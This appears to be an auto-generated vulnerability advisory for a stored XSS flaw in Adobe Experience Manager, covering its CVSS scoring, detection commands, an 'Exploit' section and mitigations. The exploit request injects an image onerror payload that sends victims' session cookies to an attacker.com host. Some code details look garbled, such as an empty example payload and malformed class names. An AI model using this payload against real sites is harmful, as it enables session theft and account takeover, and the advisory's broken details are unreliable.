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CVE-2026-47981
Intro:
CVE-2026-47981 is a stored Cross-Site Scripting (XSS) vulnerability affecting Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04, and all earlier releases. The flaw resides in improper sanitization of user-supplied input within certain form fields. A low-privileged attacker — such as a user with only “author” or “contributor” permissions — can inject malicious JavaScript payloads into these vulnerable fields. Because the vulnerability is stored (persistent), the injected script is saved on the server and subsequently served to any victim who views the page containing the compromised field.
The attack does not require high privileges or complex user interaction beyond a single click. The malicious payload executes automatically in the context of the victim’s browser when they browse to the affected page. This changes the security scope (CVSS metric S:C) because the vulnerable component (form field storage) and the impacted component (the victim’s browser session) are different.
According to the CVSS v3.1 vector provided by Adobe (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N), the attack is network-accessible, low complexity, requires low privileges, and demands user interaction (the victim must visit the page). The scope change leads to low impacts on confidentiality and integrity; no availability impact is registered. The NVD lists a base score of 5.4 – MEDIUM.
The vulnerability affects AEM’s form rendering engine and the underlying HTML output generation. Typical injection points include text input fields, dropdown labels, or hidden parameters that are reflected back unencoded. An attacker can craft a payload like `` or more advanced exfiltration scripts that send session cookies or perform unauthorized actions on behalf of the victim.
Because AEM is a content management system widely used for enterprise web experiences, a successful exploit could compromise administrative accounts, deface pages, or extract sensitive data. Adobe confirmed the issue on June 9, 2026, and NIST enriched the CVE entry on June 10, 2026. The vulnerability is considered medium severity but with high potential in multi-tenant or shared-author environments.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: 6.5.24 / LTS
Vulnerability : Stored Cross-Site Scripting
Severity: MEDIUM (5.4)
date: June 9, 2026
Prediction: July 14, 2026
What Undercode Say
Analytics:
Check AEM version from crx-quickstart
grep "product.version" crx-quickstart/repository/segmentstore/current/segmentstore.log | head -1
Find vulnerable form fields via grep on JCR nodes
find /opt/aem/crx-quickstart/repository -name ".jcr:xml" -exec grep -l "textfield|textarea" {} \;
Simple detection payload (manual test)
curl -X POST -u lowpriv:pass "https://aem-host/content/forms/af/test.html" \
-d "./jcr:content/guideContainer/field1=<script>alert('CVE-2026-47981')</script>"
Log analysis for potential exploitation
grep -E "<script|onerror=|onload=" /opt/aem/logs/request.log
Exploit:
// Stored XSS payload injection via form submission
POST /content/forms/af/vulnerable-form/jcr:content/guideContainer/rootPanel/nameField
Host: aem.customer.com
Authorization: Basic bG93cHJpdjppbmplY3Q=
fieldValue="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"
Victim (administrator) browsing the submitted form entry triggers payload execution, exfiltrating session tokens or performing actions on behalf of the admin.
Protection:
- Upgrade to AEM version 6.5.25, LTS SP2, or 2026.05 (patched releases after June 2026)
- Apply temporary input validation using Adobe’s Granite XSS filtering: `com.adobe.granite.xss.XSSFilterfilter`
– Configure Content Security Policy (CSP) to disallow `unsafe-inline` scripts on form pages - Use Apache Sling’s `DefaultSlingScript` with anti-XSS encoding: `org.apache.sling.scripting.coreescapeJavaScript`
– Restrict low-privilege author access to form components via ACLs
Impact:
- Confidentiality (Low): attacker can read sensitive data from victim’s browser (e.g., AEM session cookies, CSRF tokens)
- Integrity (Low): victim can be tricked into modifying page content or submitting unauthorized changes
- Scope Changed: compromise extends beyond the vulnerable component to the victim’s authenticated session
- Business impact: defacement of enterprise web pages, account takeover of content authors or administrators
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Sources:
Reported By: nvd.nist.gov
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